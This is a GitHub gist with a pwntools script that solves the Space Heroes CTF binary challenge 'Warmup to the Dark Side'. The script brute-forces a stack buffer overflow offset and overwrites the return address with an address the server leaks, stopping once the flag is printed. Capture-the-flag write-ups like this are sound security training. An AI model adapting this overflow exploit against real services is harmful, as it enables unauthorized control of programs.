Solve for the pwn/binary challenge "Warmup to the Dark Side" from the Space Heroes CTF competition.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
for i in range(32,128): | |
p = remote("0.cloud.chals.io", 30096) | |
address = p.readlineS()[112:126] | |
log.info("Trying offset " + str(i) + " for address " + address) | |
p.sendline(b'A'*i + p64(int(address, base=16))) | |
output = p.recvallS() | |
if "shctf" in output: | |
log.success(output) | |
break | |
p.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment